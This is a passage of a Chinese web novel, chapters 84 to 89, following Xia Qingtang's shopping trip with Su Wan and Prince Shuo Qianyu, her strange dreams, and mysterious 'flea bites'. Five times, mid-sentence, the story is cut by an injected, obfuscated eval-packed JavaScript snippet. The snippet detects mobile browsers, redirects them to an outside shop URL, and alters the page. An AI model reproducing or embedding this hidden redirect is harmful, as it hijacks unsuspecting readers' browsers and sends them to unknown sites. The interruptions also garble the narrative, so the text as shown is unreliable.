手下:“主子英明,说的都对。” 朔砚辞幽幽的品了口杯中茶,声音里满是胜券在握。 “他以为,不让她参加比赛,就能逃过这一劫吗?” “本皇子有的是手段和力气,把她弄到皇上面前。” 手下:“主子英明。” 朔砚辞邪笑,“挡路石,就应该被踢进粪坑里,永生永世不得翻身”。 朔砚辞眼底冒着凶光,闪着狠意。 他又命令手下,“朔灵汐那个蠢公主,务必让她走到最后”。 手下:“是,主子。” 朔砚辞当然知道朔灵汐赢到最后已经被朔千钰安排好了,但,他要的是万无一失。 到时候,朔灵汐和夏清棠一同出现在皇宫里,他在派人去添油加醋一番…… 哈哈哈,又是一出好戏啊。 是好久没看戏了。 第八十五章复杂。 夏清棠第二日又是顶着两个大黑眼圈。 细看,还有些红肿,似乎是又哭了。 她叹了一口气。 为什么她昨晚又做那些无厘头的梦了啊。 这次不仅有江汐汐和辜战,甚至连和她爹妈长的一模一样的原主爹妈都出来了。 搞得她自己都分不清那到底是谁的爹妈了。 最最最主要的是,那梦真的是真的可怕。 天呐!再这样下去,她就要得精神**症了。 吱—— 不远处房门打开,夏清棠看过去,冷不丁和同样往外走的晏无咎对上眼。 夏清棠眯眼细看,晏无咎那眼下是被揍了?还是熬夜睡不着? 咋看着比她的还严重。 晏无咎也注意到夏清棠眼下的乌青,以及眼眶的红肿。 她哭了。 他是因为她,那她又是因为谁。 晏无咎眼底闪过暗光,不紧不慢的拦截住夏清棠。 “夏姑娘,眼下这俩大黑圈可真是晃眼呐,昨晚是梦到谁了?” 夏清棠心思一转,瞬间一脸沮丧样,声音里也是慢慢的害怕。 “侯爷,你是不知道,昨晚那群刺客可是吓到我了,吓的我啊,噩梦做了一波又一波,是一宿都没睡好。” “你看我,眼睛都哭肿了。” 晏无咎一听这话,也顾不上什么调侃和吃醋了,直接说,“你身边我会多排些暗卫护着,另外……”。 你别出府了。 剩下的话未说出口,晏无咎长睫低垂,攥紧手心,要是能把她一辈子都关在自己身边就好了。 夏清棠等着下文,“另外什么?”。 晏无咎抬眸深深的看了夏清棠一眼,眼底好像闪过什么,最后,他只是淡淡的说了句,“没什么”。 夏清棠觉得自己一定要让晏无咎意识到,她待在他身边,绝对时时刻刻都处在危险里。 她继续丧着张脸说话,“侯爷,你说万一…日后有很多很多刺客来杀我,我真的**怎么办?。 晏无咎周身陡然变冷,“不会。” 夏清棠:你就这么肯定?死的不是你,你不心疼对吧。 晏无咎又垂眸看向夏清棠,“你今日可有事儿?”。 夏清棠:“当然有事儿,我又不是什么大闲人。” 晏无咎:“我想喝红枣桂圆糯米粥。” 夏清棠:“……哦。” 晏无咎继续,“想喝你做的”。 夏清棠扯出一抹笑,“好的,侯爷,您放心去吧”。 晏无咎真的放心离开了。 夏清棠心中又有了新的思绪,若是她每日都给晏无咎做东西吃,当晏无咎习惯了的时候,她再悄悄下点无色无味的**。 可是……万一他发现了怎么办,毕竟他经常吃毒啊,要是发现了会不会把她大卸八块,喝血吃肉。 夏清棠脑子中突然又有了一个大胆的想法。 美人计……如何呢? 她的眸光又落在晏无咎的书房上,这书房虽看着没上锁,可那周围,不知道有多少暗卫守着。 “夏姑娘,你搁这儿干嘛呢?” 林木一过来,就看到夏清棠搁这儿发呆,说是发呆,好像也不像,更像是在深度思考,在音游天外,在尽情的发挥想象力。 林木嘿嘿一笑,“夏姑娘,你不会是在做白日梦吧?”。 夏清棠:“……” “林侍卫,你小心点。” …… 满香楼的厨王争霸赛又传出新的消息。 复赛和决赛都提前了。 听到这个消息的夏清棠摆摆手,与她无关了。 她现在的脑海中都是昨日江汐汐说的话和昨晚的梦。 她有些遭不住了,内心对皇宫中那位皇后的好奇,几乎就要达到顶峰。 是画像有误差,还是真的和她妈妈长的一样。 烦烦烦烦烦。 “夏姑娘?” 夏清棠愣神,这声音实在是不耳熟,她看过去,眼底划过惊讶。 居然是苏菀?书中的女主。 夏清棠微微一笑,“苏小姐,好久不见。” 苏菀脸上始终是温婉笑容,她说,“是啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176093|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,夏姑娘好巧啊,你也来逛街。” “不如,我们一起吧。” 夏清棠其实有一丢丢的社恐。 她又看了看苏菀身后跟着的丫鬟们,语气充满为难,又带着善解人意,“苏小姐,你也知道,灵汐公主厌恶我,要是让她看到你与我在一起,这岂不是陷你于不义之地?”。 苏菀眸中划过不屑,朔灵汐?她现在不把根本不把这个公主放在眼里。 倒是这个夏清棠,居然叫千钰哥哥多次留心,是有点意思。 苏菀声音温婉,“夏姑娘不必担心,灵汐公主最近已有回头是岸之势”。 夏清棠憋笑,心里默默给女主竖了个大拇指,回头是岸,不知道的还以为朔灵汐去吃了几年国家饭。 苏菀:“夏姑娘你不必害怕。” 夏清棠仰头望天:“好…好吧。” 女主虽是复仇型女主,但眼神实在是太过温柔。 就这样。 女主和炮灰走在了一起逛街。 夏清棠后悔了,她怎么能被蛊惑呢,她应该狠辣绝情冷漠的拒绝掉她。 明明上次她们一起被**的时候,女主还对她有着暗戳戳的算计。 苏菀:“夏姑娘,不如我们进这家头面铺逛一逛。” 夏清棠:“我没银子。” 苏菀愣住,说话竟这么直接吗?和之前有些不同。 苏菀大气一笑,“我觉着我与妹妹很有缘分,今日不如妹妹就挑上一两件饰品,再有我赠予妹妹”。 这下轮到夏清棠愣住了,这下她是看不懂了,脑海中闪现过好几种通过饰品谋害人的法子。 苏菀见她愣住,嘴角轻轻勾着笑,“夏姑娘不要害怕,我今日心情好,又恰好遇到你,就是觉着我们有缘分”。 夏清棠对上苏菀的双眼,那其中没有上次**案时暗戳戳的算计。 夏清棠咧嘴一笑,“好啊,那真是我的荣幸”。 结仇不如结缘。 兵来将挡水来土掩。 万一是她魅力太大了呢。 夏清棠心情复杂的走进了这家头面铺 第八十六章被爱情冲昏头脑 其实,苏菀今天确实只是心情好而已。 因为,她已经成功把那个负心汉书生给搞掉了,所以现在她再看到夏清棠,心中居然升起了上一世才有的那种可笑的悲悯心。 她想到夏清棠前世和自己一样,都是被人用完就丢的工具,她又想到夏清棠上一世尸体被扔在皇宫惨死的模样。 况且,现在朔灵汐那个蠢公主疯公主,她已经根本不放在眼里了。 苏菀收回思绪,一走进头面铺,掌柜的就笑脸相迎,与此同时,又充满疑惑的看向旁边的夏清棠。 “苏小姐,真是好久不见呐,今日您的到来,真是让我们蓬荜生辉!” 苏菀面色如常,只淡淡的嗯了一声。 头面铺掌柜又带上疑惑,“苏小姐,您身边这位小姐,我看着有些眼生呐”。 “不知是哪家的小姐?” 苏菀迟钝了一下,表情淡淡,声音却依旧是温婉的,“这位是镇北侯府上的表小姐夏姑娘”。 头面铺掌柜皱起了眉头,镇北侯府上有了表小姐?看来是他落伍了,居然没跟上队伍。 瞬间,这掌柜对夏清棠也是热情非凡。 “夏小姐,您的到来真是让我们这铺子蓬荜生辉呐!” 夏清棠:“……” 头面铺掌柜声音亢奋:“刚好近日来了几批新的上等货色,二位里面请~” 苏菀和夏清棠被引进了贵宾室。 夏清棠走进这间屋子里的第一感觉,就是好闪!好漂亮! 给她都看得眼花缭乱。 天!古代这些工艺也太好了吧。 头面铺掌柜:“两位小姐先看着,看中哪个,跟小的说一声就好了”。 苏菀眉眼一挑,淡淡扫了一圈,纤纤玉手就轻轻地点了几下。 掌柜的瞬间明白,热情地说了句,“好嘞!小的遵命!”,随即大手一挥,指挥一旁站着的秀丽女子来把苏菀选中的这几种饰品装入精美的盒子中。 头面铺掌柜满脸微笑,“苏小姐,小的已经命人送到您的府上,您就放心吧”。 苏菀点点头,随即看向旁边的夏清棠,“你也选几样”。 夏清棠:“我没银子。” 苏菀:“……” “夏姑娘,你是不是看我很抠门?” 夏清棠:“没有啊。” 苏菀:“我方才不是说,你选了,我送给你吗?” 夏清棠看向苏菀,那眼神里带了丝丝警惕,“……你这么富有?”。 苏菀眉头微微蹙起,“你看不起我?”。 “还是怕我谋害你?” 夏清棠眼神一言难尽。 苏菀笑了,是无语的笑,她嘴角勾起冷笑,声音带上些倨傲,“夏小姐,你太看得起你了”。 “本小姐只是太好心了。” 夏清棠嘴角扬起灿烂的笑容,故意问,“看来苏小姐最近肯定是有什么喜事吧,居然这么善良这么好心”。 说到这,苏菀白净的脸蛋儿居然迅速泛起红晕。 夏清棠惊呆了,双眸微微瞪大,看这样子,女主绝对已经和男主有了感情上的进展。 可是,朔千钰那个男主,实在不是个什么好货色啊。 夏清棠:“苏小姐,你脸红了。” 苏菀回神,有些娇羞地扯了扯嘴角,又抬起一只手轻抚着脸颊,“是吗?可能是我太热了吧”。 夏清棠:“现在是冬天,这铺子里也挺冷的。” 苏菀脑海中满是朔千钰俊俏的脸庞和温柔的声音,根本不在意夏清棠的拆台和调侃。 苏菀脸更红了,整张脸连着脖子都是一片通红,语气也是很不自然,“是吗?可能我穿的厚些吧”。 夏清棠目光揶揄地看着脸蛋通红脖子也通红的苏菀,“苏小姐穿的挺好”。 苏菀:“你快选吧,我今日心情好,尤其是看到你,我心情更好,能送你两件饰品。” 苏菀嘴角轻勾,“好啊,难得碰到这么大方又善良的好心人,我这个土妞今日也算是长见识了,能选这种高级的饰品”。 夏清棠杏眸细细扫过,很快,便选了几件中规中矩的饰品。 苏菀大手一挥,大气地说,“给这位姑娘包起来,记得是送镇北侯府上”。 头面铺掌柜大喜:“好嘞!小的立刻命人去办。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178928|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这头面铺,二人也算是消费完了,不约而同地往门口方向走去,夏清棠听到身侧的苏菀发出喜悦的惊呼。 “千钰哥哥。” 夏清棠闭眼,靠靠靠,怎么碰到这个鬼畜朔千钰了。 不过,苏菀在这里,朔千钰应该不会恶心她。 朔千钰脸上也露出惊讶,“苏菀?”。 他转眼又看到苏菀身侧的夏清棠,登时眼眶睁大,“夏清棠?!”。 声音明显比刚才叫苏菀的声音,清晰更激烈了些。 苏菀疑惑且不满,她上前一步走进朔千钰,“千钰哥哥,你认识夏小姐吗?”。 朔千钰眼眸紧紧盯着夏清棠,暗暗咬牙,“当然认识,这位夏姑娘,可是镇北侯身边的大红人呐”。 “你说是吧,夏姑娘。” 被cue到的夏清棠干笑两声,“四皇子,你说的对!”。 苏菀想起了之前她们被**时,晏无咎的异样,他确实对夏清棠很不一般,而且,短短几个月,夏清棠居然已经成了镇北侯府的表小姐。 她当时本以为,夏清棠可能会成了晏无咎的小妾或是外室之类的。 她的眸光闪烁,这个夏清棠确实是有几分本事,不过,那又如何呢,千钰哥哥可是她的真命天子,才不会被外面的野花迷了眼珠子。 苏菀温柔的勾起笑容,嗓音也是温柔似水,她的眼尾带着钩子,轻轻看向朔千钰。 “千钰哥哥,你来这家头面铺是有什么事情吗?” “你要给谁买饰品呀?” 朔千钰回神,嘴角挂着无懈可击的笑容,又说着无懈可击的谎话,“自然是送给你的,顺便再给我皇妹添点首饰”。 苏菀嘴角笑意扩大,脸上小女儿姿态尽显,“千钰哥哥,你怎么这么好”。 朔千钰宠溺地看着苏菀,“苏菀妹妹,你言重了,我只是做了我本就该做的事情“。 这句话说完,朔千钰明显感觉到苏菀看向他的目光爱意更加浓郁。 他内心满是不屑,瞧瞧,被爱情冲昏了头脑的女人是多么愚蠢啊,几句甜言蜜语就能把人哄得晕头巴脑的。 他的魅力还是这么大。 第八十七章关系好 夏清棠在旁边听的都快呕出来了,再看看朔千钰这副伪装出来的温润模样,她真是想几拳砸这男的脸上。 朔千钰始终温柔的注视着苏菀,“苏小姐,不如和我一同进去,你来选,我来买”。 苏菀脸上划过喜悦,又浮上担心与焦急。 “可是,千钰哥哥你最近不是急需用银子吗?” 朔千钰内心暗喜,终于等到这句话了。 朔千钰:“苏菀,你真善良,会第一时间为我考虑。” “你放心,要买给你的,本皇子一件也不会少,走,我们进去吧,本皇子说到做到。” 夏清棠想离开,她实在是看不下去了也听不下去了,她在这里就是一个碍眼的人形灯泡。 妨碍朔千钰发散他的伪暖男魅力光环。 夏清棠对着苏菀说,“既然这样,苏小姐,那我就不叨扰二位了,先告辞了。”。 苏菀:“夏小姐不必拘谨,反正你也是一个人,不如同我们二人一同逛一会儿。” “你家侯爷不也和千钰哥哥是关系要好的朋友吗?” “你说是吗?千钰哥哥。” 朔千钰点头,“苏菀妹妹说的不错,既然如此你就留下吧”。 他就让你看看,他这个四皇子的本事有多大,连丞相府嫡女都能拿下,到时候这夏清棠必定会回府同晏无咎讲,届时,晏无咎必定就知道了他的实力有多么强大,那还用愁晏无咎不巴结不讨好他吗? 哼,真是一群蠢货。 夏清棠一看朔千钰那副死样子,就知道这男的是又开始想象了,想象自己多么多么强大,多么多么牛逼。 切!装×男一个。 夏清棠:“好啊好啊。” 她看看这男的能装多大的×,想必也就是个光说不做的渣渣男而已。 她记得原书中,对于男主朔千钰的描述就很是让人别扭,明显不符合正常人类的三观,却偏偏还有一堆人追捧,说什么,这样的恶男人设好带感,好喜欢哦。 不理解不喜欢不尊重。 夏清棠又跟着两人进去了,她都没眼看,光天化日,大庭广众之下,这俩人都不知道收敛一下吗? 好歹是一个大小姐,一个皇子呢。 不过看周围人的样子,大抵是签了什么保密协议吧。 朔千钰:“苏菀妹妹,你放心选,只要是你喜欢的,我都会满足你。” 苏菀拒绝,“不,千钰哥哥,你知道的,我舍不得”。 夏清棠:“……” 苏菀:“你让夏姑娘来选吧,毕竟她相当于是是我们邀请过来的客人。” 朔千钰沉默了…… 让夏清棠选?他丝毫不怀疑,下一秒夏清棠就会选上几样最贵的东西来让他付银子。 苏菀疑惑,“千钰哥哥?你怎么了?”。 朔千钰内心:知道我没缺银子还让夏清棠这女人来选,苏菀这女人真的蠢得够可以啊。 夏清棠连忙扮做一副很慌张很惶恐的模样,连连摆手,“不了,苏小姐,谢谢你们的好意”。 “可是我身为侯爷身边的人,也实在是不忍心看着我家侯爷的好兄弟如此为难。” “毕竟四皇子近日捉襟见肘,前些日子还来我们府上像侯爷借银子,谁知道,我们府上的日子更难过,这可是硬生生把四皇子给吓走了呢。” “说来,之前四皇子确实没少来找我们侯爷要东西。” 苏菀着急的看向朔千钰,“千钰哥哥,你都已经这么困难了吗,都去向镇北候借银子,你没银子了,可以跟我说啊”。 朔千钰暗喜,夏清棠这个蠢女人居然助攻他,哼,算她有眼色些。 “苏菀,你知道的,一个男人,是最不愿意在自己心爱的女人面前露怯的。” “那是我的尊严。” 夏清棠:又来了又来了,熟悉的话,男人的尊严值一个亿。 苏菀满眼心疼与敬佩,这就是她看上的男人。 苏菀暗暗下定决心,回去一定要让她父亲帮帮千钰哥哥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178929|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夏清棠看苏菀这样子,不禁叹了口气。 前世是恋爱脑,为什么这一世看着还是恋爱脑。 夏清棠:“四皇子说得对,男人嘛,就是厉害,就是说到做到,就是有责任心,尊严就是值钱。” “所以,四皇子,苏小姐,我真的可以再选些首饰吗?” “你们知道的,我们侯府真的是太穷了,有疯癫的,有痴傻的,侯爷偏偏又是一个心怀大义的,挣得那点俸禄,都贴补到军队里去了。” “今日一听到你们说送我些饰品,我这心里是有开心又害怕,开心侯府生活可以改善了,可又害怕你们看不起我,看不起侯爷啊。” 夏清棠声音响亮,又充满悲怆情绪,不仅苏菀和朔千钰听的清晰,甚至连旁边不远处挑选饰品的人也都听见了。 一时间,不少目光若有似无的扫向朔千钰。 将军上阵杀敌,贴补军用,皇子哭爹喊穷,和女子在街上浓情蜜意,这属实是……不妥。 朔千钰神情僵住,后槽牙都快咬碎了,“夏小姐,你放心,我说的绝对会做到,你就放心大胆的挑吧。” 他又继续补救,声音充满懊恼,“夏姑娘,我想你是误会我了,我也很想帮无咎兄,可是无咎兄就是不让我帮,你说这……唉,真不知道无咎兄是怎么想的”。 夏清棠:“是吗?四皇子你可真是善良。” 苏菀认同的点头,“是啊,千钰哥哥,你可真是善良”。 夏清棠瞥了一眼一脸认真的苏菀。 一时竟分不清是真心夸奖还是觉悟讽刺。 朔千钰:“本皇子一直和无咎兄如同手足兄弟,我怎么会不帮他,我又怎么会看不起他?” 他的语气陡然严肃,“夏姑娘,你可千万不能误会了我和无咎兄的关系呐,我们之间,明明好的很”。 “你知道你一句话,可能会造成多大的误会吗?” 竖着耳朵听的吃瓜群众愣住,传闻中最温润的皇子居然生气了,和镇北候关系这么好? 第八十八章奇形怪状的梦。 夏清棠:“……” 一时间竟无言以对。 朔千钰见她这副模样,心中不由得暗暗发笑,就这副蠢样子,还敢跟本皇子斗,真是不自量力。 “夏小姐!” 一道突兀的男声,吸引了所有人的注意力,纷纷望过去,看着应该是一个侍卫。 夏清棠疑惑,“林木?”。 林木先走进去,但更让人感到意外的是,这个侍卫进来不久后,又进来一个男人,居然是镇北候! 夏清棠惊疑,“侯爷?”。 晏无咎怎么会来逛街,他不是忙的很吗? 晏无咎看向夏清棠,微微点了点头。 朔千钰直觉不好,却还是挂着满脸笑容相迎,“无咎兄,你今日怎得有闲情雅致来这街上?”。 晏无咎眼眸扫过松散的人群,又盯着朔千钰,他轻勾嘴角,“千钰兄,我只是恰好经过这里,又恰好听到你们的交谈声”。 “便想着进来看看,毕竟,我们两个好兄弟好久没有近下心来好好说会儿话了。” “前些日子,你来我府上,确实是我招待不周,竟然硬生生把你吓跑了。” 朔千钰拳心攥紧,脸上表情有一点点僵硬,“怎么会呢,无咎兄,你别开玩笑了”。 晏无咎轻笑一声,“千钰兄,你今日又怎么会有闲情雅致来这头面铺。”。 说着,他将目光移向旁边的苏菀,“这位想必就是……丞相府上的千金,苏大小姐”。 苏菀温婉一笑,“镇北候,久仰大名”。 晏无咎:“不敢当不敢当。” 松散的人群说起悄悄话。 “镇北候真这么穷?看着也不像啊。” “可上次我还听说镇北候穷的连黑馍馍和稀饭粥都喝不起了,无风不起浪嘛,我看十有**是真的。” “你们看,镇北候多自卑,都不敢在这里多待一会儿,你们再瞧瞧,镇北候看那丞相府千金的目光分明就是温柔似水。” “但是碍于自己太穷,所以自卑。” “所以,刚才那个什么表小姐说的话,十有**是真的。” “那……四皇子说的岂不也是真的?镇北候肯定是因为不想麻烦自己的好兄弟,结果才不去找四皇子帮忙。” “……好像有些道理。” “……” 说是窃窃私语,其实这些交谈内容,已经精准传到的会武功的朔千钰晏无咎夏清棠三人耳朵里。 朔千钰无语。 晏无咎嘴角抽抽。 夏清棠憋笑。 苏菀则是疑惑的看着这三个奇怪的人,除了她家千钰哥哥,这个晏无咎和夏清棠都像是脑子不正常。 怪不得,怪不得上辈子死的那么惨。 此刻,她已然全部忘记,她上辈子死的有多惨了,相比晏无咎和夏清棠,那更是不遑多让。 四人间的气氛很静,连有点神经大条的夏清棠都情不自禁的想脚趾抠地了。 晏无咎垂眸看向夏清棠,眼里是笑意和柔意,“你要不要跟我一起走”。 夏清棠眨眨眼,其实不是很想,毕竟,朔千钰方才还大方的说要送她们首饰。 算了,奸诈小人的银子,是得少要。 夏清棠:“好啊,那我们就不打扰四皇子和苏小姐逛街了。” 苏菀满意的看着二人离开的背影,终于没人打扰她和千钰哥哥的二人世界了。 苏菀又含情脉脉的看向朔千钰,“千钰哥哥”。 朔千钰很享用女人看向他时,这一副痴迷的模样,可眼下周围的频频扫来的目光,让他这个常年身居高位享受瞩目的人感觉到强烈的不自在。 朔千钰:“苏菀妹妹,不如我们去别处逛逛。” 苏菀:“都听你的,千钰哥哥。” 朔千钰:“走吧。” 两人又一前一后的离开。 吃瓜群众纷纷摇头叹气,这瓜还没吃明白呢,人就都离开了。 …… 晏无咎:“你们方才在里面说了些什么?” 【这是来兴师问罪了?】 夏清棠:“没说啥啊。” “就是四皇子说要送给我几个首饰,然后我说我想要又不敢要。” “想要是因为咱们侯府太穷了,不敢要是因为害怕他看不起我们。” 晏无咎:“……” 有些生气,有些无奈,有些心疼,有些吃醋,这个女人竟然要朔千钰那个蠢货的东西,都不要他给的银子。 是太爱他了,还是太不想跟他产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186665|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生瓜葛,是想和他断的越干净越好吗? 晏无咎眼底墨色翻涌,藏着连自己都没有发现的风暴,他声音稍稍冷冽了些,“你缺银子就来找我,我有办法,我也能给的起你”。 夏清棠迟疑的看了他一眼,又淡淡的哦了声。 “哦,好的,我相信你。” 夏清棠回府了,至于去找江汐汐和辜战的事情,她又犹豫了。 她有点不敢面对。 …… 最近这几天,夏清棠睡得是愈发不安稳,她依旧每日做梦,梦中的熟人就是江汐汐和辜战,以及晏无咎。 可是,让她实在没想到是,她居然开始梦到自己的妈妈和原主的妈妈,同一张脸,却穿着不同时代的服饰,在她的脑海中反复交替出现。 她要被折磨疯了。 而且,为什么这梦里还那么多奇怪的声音,像是金属碰撞的声音,又好像还有脚步声和粗重的喘息声。 现在,夏清棠每次一遇到什么奇形怪状的事情,就告诉自己,这是梦这是梦这绝对是梦! 直到这天,夏清棠发现自己身上居然多了很多红点点,微微刺痛,像是蚊子咬的,又不像是蚊子咬的。 她抬眸看向窗外白茫茫,明显泛着冷意的天气,嘀咕道,大冬天的,还会有蚊子吗? 她脑中灵光一闪,难道是…… “跳蚤!绝对是这屋子里有跳蚤啊!” 夏清棠急匆匆地走出屋子,她要去找王嬷嬷,她要去找安大夫。 怪不得天天晚上做奇形怪状的梦呢,原来是不知道有多少只跳蚤在她身上跳舞呢。 “你这么急,是去哪儿?” 低沉又磁性的声音从晏无咎书房口传来,夏清棠随意看了一眼,心底吐槽,大冬天的,晏无咎穿个衣服怎么还这么骚气,胸膛都露出一大半儿。 夏清棠声音响亮,“我生病了,我要去找王嬷嬷和安大夫。” 晏无咎神情瞬间紧张,不再是一副烧里烧气的样子,“你生病了?你怎么了”。 说罢,他竟直接牵起夏清棠的手往安瑾的院子走去。 夏清棠呆住,她目光愣愣的看向两人相牵的双手。 “……” 【晏无咎这么急干嘛,还对我旧情难了?】 第八十九章跳蚤?! “安瑾!” 安瑾从一堆药材中抬起头,谁在叫他,是他幻听了吧,这才啥时候。 “安瑾!” 安瑾虎躯一震,神情有些呆滞的看向院子,老晏? 这么急,不会又是谁被搞了吧。 他连忙走出屋子,就看到站在晏无咎身后的夏清棠,视线下移,这俩人背着他干嘛了,为什么还是牵着手过来的。 ? 晏无咎:“她生病了,你看看。” 安瑾点点头,“进屋吧。”。 屋内。 安瑾左看右看,在夏清棠脸上,一点不对劲都没看出来,就是黑眼圈有点重,“夏姑娘,你哪里不舒服?”。 夏清棠:“安大夫,我屋子里有跳蚤。” “天天晚上骚扰我不让我睡觉,还咬的我身上都是红印。” “跳蚤?!” “侯府怎么会有跳蚤!” 夏清棠不满皱眉,“怎么不可能有跳蚤,你看我就连胳膊上都是被咬出来的红印”。 说着,她薅起袖子,白净的胳膊上果然是密密麻麻的红印子。 安瑾愣住了。 晏无咎僵住了。 安瑾凑近夏清棠的胳膊,细细观察胳膊上的红印,越看越觉得不对劲儿,这是跳蚤咬的?怎么可能,这明明看着就像是人咬的。 “夏姑娘,你……” 安瑾为说出口的话被打断,晏无咎催促他,“给她开药,顺便弄点除跳蚤的药剂”。 安瑾目光呆滞了瞬间,下一秒,他意识到什么,嘴巴长成了o形,不会是他想的那个样子吧。 不可能不可能,老晏这样的人,怎么可能会干这种掉份又丢脸面的事儿,不过,若真是老晏干的话,那他也太变态了吧。 天呐,这难道就是话本子里的病娇吗?书名就叫《粗神经表小姐不懂情,侯爷激发病娇属性》。 安瑾原本呆滞的目光逐渐兴奋且变态,桀桀桀…… “想啥呢你,快点配药。” 晏无咎冷冽的低沉嗓音唤醒在尽情神游的安瑾。 安瑾回神,“哦哦哦”。 他看了看一脸懵逼在想为什么会有跳蚤的夏清棠,又看了看表面不在意,其实心里在意的要死的晏无咎,嘴角勾起坏笑。 安瑾嘱咐夏清棠,“夏姑娘,你今后睡觉啊,门和窗一定要锁好,然后再拿些重物抵住,这样身上的红印可能会好很多”。 夏清棠疑惑,“那么小的跳蚤,还得这么防备啊,行,我知道了”。 安瑾:“对啊,别看跳蚤小,那咬起人来是真的恐怖啊。” 晏无咎双眼眯起,直接掠过安瑾,把夏清棠薅起来的袖子拉下去,“安大夫说的对,这跳蚤可是无孔不入”。 他眼底又闪过笑意,似是开玩笑的朝夏清棠随口一问,“不过,我的屋子里倒是一点跳蚤都没有,不介意的话,我的屋子可以给你住”。 夏清棠一喜,“对哦”。 没想到夏清棠会毫不犹豫地同意,晏无咎眼底溢满笑意,看来也不是那么排斥他。 夏清棠:“对哦,侯爷,侯府这么多院子,这么多屋子,你再给我安排一间吧,只要一间就行”。 晏无咎眼底笑意消失殆尽。 “……” 他猛地凑近夏清棠,双眸紧紧盯着夏清棠的双眸,试图从那两只眼珠子里看出些什么。 “我的屋子是整个侯府最好的屋子,你不想住吗?” 夏清棠连连摇头,“不了不了,最好的当然就应该是侯爷你来住”。 【晏无咎抽什么风,我看他最近是太闲了,主角呢,配角呢,来给这个小反派找找事儿啊,最好让他忙的像陀螺一样转的飞起。】 晏无咎看的眼睛发涩,也看不出来什么,他长睫低垂,神色有些黯然,这个女人是没有心吗? 而且,她已经好久没有骂过他了。 安瑾插话,神情吊儿郎当,“老晏,你就赶紧给夏姑娘换个其它屋子吧,你那屋子,指不定什么时候就跑进跳蚤了”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186666|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哈哈哈,老晏,你说是不是啊?” 晏无咎声音冷沉,“萧策的状况如何了?”。 安瑾收起那副吊儿郎当的做派,眼眸里是藏不住的忧心和疲惫,“情况暂时稳住了,总之,萧策那家伙的小命是保住了”。 “就是……就是不知道他什么时候能醒,唉!” 晏无咎:“你照顾好他,我暂时还不敢找人来照顾他。” 安瑾:“理解理解,老晏,你多给我银子就行,在你府上住了一段时间,我都消瘦了。” 晏无咎:“嗯,找林木。” 安瑾笑了笑,“好”。 林侍卫真是全能型管家啊。 晏无咎垂眸看着夏清棠,“我们走,去给你好好挑一挑,你喜欢那间屋子”。 夏清棠嘿嘿一笑,“侯爷,我能不能换个院子啊”。 晏无咎眸光瞬间沉下去,“你想离我远点?”。 【当然喽,晏无咎你真是个大聪明蛋儿,早就想离得你远远的了。】 夏清棠:“当然不是了,我只是觉着,我就是一个大闲人,而侯爷你就不一样了,你是大忙人。” “我只是不想打扰你。” “而且,你不说你想吃红枣桂圆糯米粥吗?那样我以后在我的院子里,就可以尽情给你研究吃食了。” “侯爷,你不开心吗?” 夏清棠说的诚恳,问的真切,那张娇俏的脸上,也满是认真的关心,就连那双漂亮的双眸,此刻也是满眼都是他。 晏无咎又被哄住了,他的心跳的有些快,毫不夸张地说,他的心再跳快点,是会跳出身体的。 那他岂不是死在牡丹花的假意关心下?简直是丢脸。 夏清棠眨巴眨巴眼,“侯爷,你不想吃我专门为你做的饭吗?”。 “超级好吃的,绝对不会毒死你。” 晏无咎收回视线,慢步走在前方,“随你的便,我带着你去挑”。 